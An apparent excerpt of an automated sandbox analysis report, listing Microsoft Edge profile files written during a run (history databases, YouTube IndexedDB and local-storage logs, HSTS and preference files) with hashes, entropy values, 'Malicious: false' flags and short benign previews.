con_bitmaps_icon_idfavico

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5612413191895962
Encrypted:	false
SSDEEP:	96:+DJqMWWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kEFOG:+N9nhH+bDo3iN0Z2TVJkXBBE3yb8
MD5:	DCE694651E35527382BBBD8FE3448891
SHA1:	5349F168FD824DFA40038B8C8E1286D4611C5250
SHA-256:	F0899FF9CCFCBDC4F80C821F4853635FF67DE1EDEC8398F91AE4149FC602737E
SHA-512:	DE2653964097CBB1860C3DC2CA05167B6AC982888AA53B360CAD22F8AFCB90D8628E158EC3F5E8EDC274C833AC3D928FD3409634F2DDF9136AC9B8DD239F6DFE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Reputation:	unknown
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.549312664296714
Encrypted:	false
SSDEEP:	384:jj9P0vLP/Kbt3QkQer/hzgam6I7773pL2RKToaAfc9:jdkLP/qe2/8r7URKcg9
MD5:	CC05F7FF684034F90E708E55F9C6EE86
SHA1:	172EFB3AC511E0612CA7DE5AE31327D39637D03D
SHA-256:	66EEE724367F8D0D347321796A01E41D5D6D65A1E7D3EE0531C90D8DF58881DB
SHA-512:	5B5D1A62BC52C388A122E31AAE96700CA94F1653AA7B9AB656703E7F1541104AF1CB245871A41B25A59FF3ED7952FEB333267325DE23B7DC0EB6C87917C8EAB9
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\000001.dbtmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	104858
Entropy (8bit):	5.987954928122722
Encrypted:	false
SSDEEP:	1536:pTQaFgG8K1hR0JsTxvFzrpRaneDUz8P3N9op:pTQaFcY0JevFzXaneDUz8P3NCp
MD5:	AFC0E1D225159BCF7049ABAC9652B25C
SHA1:	20331371C457A08106805FEF43A75ACACB03EA87
SHA-256:	A75CAE1EE82D0568BD8EB91C747285520B6DC317B25C33C7EF7BB8394329FA1E
SHA-512:	0EE0982963B3AEB8947E84810328B0AF6F51F02B99A5F126ABD447C6FDEEB51DF9D9B257ED5FBAA59500D33E3449C28FE67D05CDC26CDB909E2F0098DC59793E
Malicious:	false
Reputation:	unknown
Preview:	. ......................2......."....................................xw:hv........................K.......h.t.t.p.s._.w.w.w...y.o.u.t.u.b.e...c.o.m._.0.@.1..Y.t.I.d.b.M.e.t.a....................R.g.L.............................2.......................2........................L.................................2....d.a.t.a.b.a.s.e.s......2........a.c.t.u.a.l.N.a.m.e......2..........2..........2..........2..........2..........2.............d.a.t.a.b.a.s.e.s........2.........2...........................2....................2........2....................2........2....................2........2....................2........2....................2........2....................2........2....................2........2....................2........2.......................d.a.t.a.b.a.s.e.s...... .................2.................2.................2.................2.................2.................2.................2.................2.................2.................2.................2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\CURRENT (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	359
Entropy (8bit):	5.290899343765161
Encrypted:	false
SSDEEP:	6:HvQHYP1N723oH+TcwtEqSAxG7RB2KLltvQIR+q2PN723oH+TcwtEqSAxG7VIFUv:HIHuaYebXG7RFLvIIcvVaYebXG7iFUv
MD5:	BF2632E90AFDB89771E848DDC8519CB3
SHA1:	7B27D35F2729132871006D0A63C645BC714B8560
SHA-256:	2E7A3B3E1E2F193D519E7FE1F1CBCA1DEB6446497654954CE3302C56CAAE59CE
SHA-512:	9CC04A0F7C9BB69B82CCD557BF3DF5AB72E6E51626480D9566367C5F2E93839AD17120FD21F1E2E65A4A4A2EDF1C8C814E95F240BD860C9A38728D489CBBB98C
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:45.489 22f8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb since it was missing..2024/01/18-00:34:45.508 22f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.youtube.com_0.indexeddb.leveldb\MANIFEST-000001

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	23
Entropy (8bit):	4.142914673354254
Encrypted:	false
SSDEEP:	3:Fdb+4Ll:Zl
MD5:	3FD11FF447C1EE23538DC4D9724427A3
SHA1:	1335E6F71CC4E3CF7025233523B4760F8893E9C9
SHA-256:	720A78803B84CBCC8EB204D5CF8EA6EE2F693BE0AB2124DDF2B81455DE02A3ED
SHA-512:	10A3BD3813014EB6F8C2993182E1FA382D745372F8921519E1D25F70D76F08640E84CB8D0B554CCD329A6B4E6DE6872328650FEFA91F98C3C0CFC204899EE824
Malicious:	false
Reputation:	unknown
Preview:	........idb_cmp1......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.2375601189402765
Encrypted:	false
SSDEEP:	12:HzcvVaYeb8rcHEZrELFUt8+G/++N5OaYeb8rcHEZrEZSJ:CVaYeb8nZrExg8ZOaYeb8nZrEZe
MD5:	225F27A21E86F4A9C15B9F0FD35DA07D
SHA1:	A9DFAB697874378F44706D1BCC09119D81A5AECB
SHA-256:	64CC47CB606498875B53E55D360C1D0B2E856824ABA5796F9A7CFB8DE3D10028
SHA-512:	8382A572FB2FF707FC310245F6017548513491BD9155A91DCB18B1B267D5C8A6C7B4FA8B89B2A5F2BA379C9EB6A268538B028D63D656255C9D51320980CB5F01
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:39.998 22f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/01/18-00:34:39.999 22f8 Recovering log #3.2024/01/18-00:34:40.000 22f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.2375601189402765
Encrypted:	false
SSDEEP:	12:HzcvVaYeb8rcHEZrELFUt8+G/++N5OaYeb8rcHEZrEZSJ:CVaYeb8nZrExg8ZOaYeb8nZrEZe
MD5:	225F27A21E86F4A9C15B9F0FD35DA07D
SHA1:	A9DFAB697874378F44706D1BCC09119D81A5AECB
SHA-256:	64CC47CB606498875B53E55D360C1D0B2E856824ABA5796F9A7CFB8DE3D10028
SHA-512:	8382A572FB2FF707FC310245F6017548513491BD9155A91DCB18B1B267D5C8A6C7B4FA8B89B2A5F2BA379C9EB6A268538B028D63D656255C9D51320980CB5F01
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:39.998 22f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/01/18-00:34:39.999 22f8 Recovering log #3.2024/01/18-00:34:40.000 22f8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	718
Entropy (8bit):	5.721340724503456
Encrypted:	false
SSDEEP:	12:d/n9WjGX4GzM8Q1JvrdGlAWjGxG1bsZ5W96cGn/ZrRbQ6YAGnjPUpK6y6F2G3:F9W6XLRMvrEaW6A14Y63/ttQ6YjjPUUk
MD5:	12550B3AB21686FC45DD780931AE8046
SHA1:	14B770306BC7E9701779C0889A33CFE220E09213
SHA-256:	675E4E1FFBCCC85FB7C47E2A4D0F1BD8AF22E6C140930092F6CD28F2003468A3
SHA-512:	A041FB66C51CC4CD712C9A9E08B409900E76278016D6FE750F762522A0A157AC9D1A85B6BD9C98841B3F6273D1126BFA78E474949E5C87A1132ED47E4B4B4882
Malicious:	false
Reputation:	unknown
Preview:	.....................VERSION.1..META:https://www.youtube.com..........t.6_https://www.youtube.com..ytidb::LAST_RESULT_ENTRY_KEYW.{"data":{"hasSucceededOnce":true},"expiration":1708126485722,"creation":1705534485722}.._https://www.youtube.com..__sak..,..................META:https://www.youtube.com............>_https://www.youtube.com..V290c3448\|\|::yt-player::yt-player-lv'.{"data":"{}","creation":1705534490437}.5_https://www.youtube.com..yt-remote-connected-devicesB.{"data":"[]","expiration":1705620890386,"creation":1705534490386}.-_https://www.youtube.com..yt-remote-device-idd.{"data":"7b1d5b68-a764-40af-98ba-93eb41b5edd0","expiration":1737070490368,"creation":1705534490368}.._https://www.youtube.com..__sak

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.115264012758777
Encrypted:	false
SSDEEP:	6:HpXlL+q2PN723oH+Tcwt8a2jMGIFUt8+N1KWZmw++v9VfLVkwON723oH+Tcwt8as:HNlL+vVaYeb8EFUt8+2W/++v9lLV5Oao
MD5:	F205ED40C5B26A2F6D83F997E2B40970
SHA1:	5AFD8A014561DCF01B6780C20547BF3397EF9C1D
SHA-256:	E3CB2D72E3A8DCFF5699A54A5F9EC48FD477C4D7BC86B66BADA89B7CBF045F4B
SHA-512:	FEE8A30158E4EF3A28969608FCAA287BB1F87E83804D36D3AE9644BBBCA7E32A8622A2F70C78FE20F329D34376EB2E7978CA8D343DE1FC52023E26ED3FBDA33E
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:37.738 20ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/01/18-00:34:37.747 20ec Recovering log #3.2024/01/18-00:34:37.752 20ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.115264012758777
Encrypted:	false
SSDEEP:	6:HpXlL+q2PN723oH+Tcwt8a2jMGIFUt8+N1KWZmw++v9VfLVkwON723oH+Tcwt8as:HNlL+vVaYeb8EFUt8+2W/++v9lLV5Oao
MD5:	F205ED40C5B26A2F6D83F997E2B40970
SHA1:	5AFD8A014561DCF01B6780C20547BF3397EF9C1D
SHA-256:	E3CB2D72E3A8DCFF5699A54A5F9EC48FD477C4D7BC86B66BADA89B7CBF045F4B
SHA-512:	FEE8A30158E4EF3A28969608FCAA287BB1F87E83804D36D3AE9644BBBCA7E32A8622A2F70C78FE20F329D34376EB2E7978CA8D343DE1FC52023E26ED3FBDA33E
Malicious:	false
Reputation:	unknown
Preview:	2024/01/18-00:34:37.738 20ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/01/18-00:34:37.747 20ec Recovering log #3.2024/01/18-00:34:37.752 20ec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\06d33152-bac1-42aa-9e58-5dec2bc18307.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0b9ccf64-0522-4b31-b285-86c4496f18b9.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\25efcf08-6fd7-44d8-bab5-55ca4ac3e200.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\5e0557ab-a308-4ca1-9aac-acc95688ae4c.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	523
Entropy (8bit):	5.498843264399414
Encrypted:	false
SSDEEP:	12:YWyzrSdXI2pcO+UAnIbrzv6HrNgmh4r+UAnIb6OvySR7N+UAnIsUHQ:YhzrutSUhvmG1KUh6Qye7wUiUHQ
MD5:	24E00912656D5E06390F098AD3FC6E87
SHA1:	3BABF7718483CC4798F62474CD6CFEC34A8D2F03
SHA-256:	507AC08C3873C43ADBE31B82296121473E9C35C94A47937584BBFD1B35DC31C7
SHA-512:	D08A1A95054735215374A2FD8B8773ADC908903FDF906BEE41EBFF7226234C1DA2CEF99B5A7582AC1BED9B2F4555FCDEE063625C1D6E32FEAC8EB2EA4746BADD
Malicious:	false
Reputation:	unknown
Preview:	{"sts":[{"expiry":1737070489.971874,"host":"kYxWDeIDVgesBS02XkmPRTIpB0nkimBvKZESXctn8eA=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1705534489.971879},{"expiry":1737070492.738866,"host":"nAuqgR4iEWti7SOdT3UHPl6rmZU/DeaIm38P2O2OkgA=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1705534492.73887},{"expiry":1737070485.360709,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1705534485.360713}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3e281.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF40d89.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF41578.TMP (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	523
Entropy (8bit):	5.498843264399414
Encrypted:	false
SSDEEP:	12:YWyzrSdXI2pcO+UAnIbrzv6HrNgmh4r+UAnIb6OvySR7N+UAnIsUHQ:YhzrutSUhvmG1KUh6Qye7wUiUHQ
MD5:	24E00912656D5E06390F098AD3FC6E87
SHA1:	3BABF7718483CC4798F62474CD6CFEC34A8D2F03
SHA-256:	507AC08C3873C43ADBE31B82296121473E9C35C94A47937584BBFD1B35DC31C7
SHA-512:	D08A1A95054735215374A2FD8B8773ADC908903FDF906BEE41EBFF7226234C1DA2CEF99B5A7582AC1BED9B2F4555FCDEE063625C1D6E32FEAC8EB2EA4746BADD
Malicious:	false
Reputation:	unknown
Preview:	{"sts":[{"expiry":1737070489.971874,"host":"kYxWDeIDVgesBS02XkmPRTIpB0nkimBvKZESXctn8eA=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1705534489.971879},{"expiry":1737070492.738866,"host":"nAuqgR4iEWti7SOdT3UHPl6rmZU/DeaIm38P2O2OkgA=","mode":"force-https","sts_include_subdomains":false,"sts_observed":1705534492.73887},{"expiry":1737070485.360709,"host":"8/RrMmQlCD2Gsp14wUCE1P8r7B2C5+yE0+g79IPyRsc=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1705534485.360713}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a15a24a7-bcee-4155-bebc-bd150bdb5d80.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\dd1c7d5c-f869-44b5-99e2-e7a6d76fe30b.tmp

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6851093584154702
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJEpMl741miI7J5fc:T+OUzDbg39pMldc
MD5:	4093222D4CE47C2C0A0443F5194FA107
SHA1:	6B203DDC8F3A7ADBAA991E047276CDAAFEC2C011
SHA-256:	9E730D8A136EB409E7658A5B89E4903B36D10B1B889A05B3D692979A9D1CE49C
SHA-512:	B8346235E770DFE0C682291C933CC095FC335D0D6A0F1F04C29C6BF11F427867F920062B49754D121A6377F34292393A56E300CFF8FF38E4745914D587C0C7FC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9527
Entropy (8bit):	5.101672209902002
Encrypted:	false
SSDEEP:	192:stYtkdG+sejaFvrE9kO3x88bV+FLhQCeUg+PHYJ:stYtOsejCDabGNQEgb
MD5:	EBB62CEE5FD8AE686031DD133160A0D7
SHA1:	B0E6A8D1DC9647F02818DDB4CA4916957975C950
SHA-256:	7979B0F7E19E75686B0202CEFDE251CFDDE4AF228D8BE4E282836CCA50786DFD
SHA-512:	54BDCD9012471FD3DD17017837E4AFB55D084C5264730604736A7273651C0E6F353C8E268044DE65BEAE0B49B5BDD028050C76186F6A14D51B1D0FD3A5AEF7ED
Malicious:	false
Reputation:	unknown
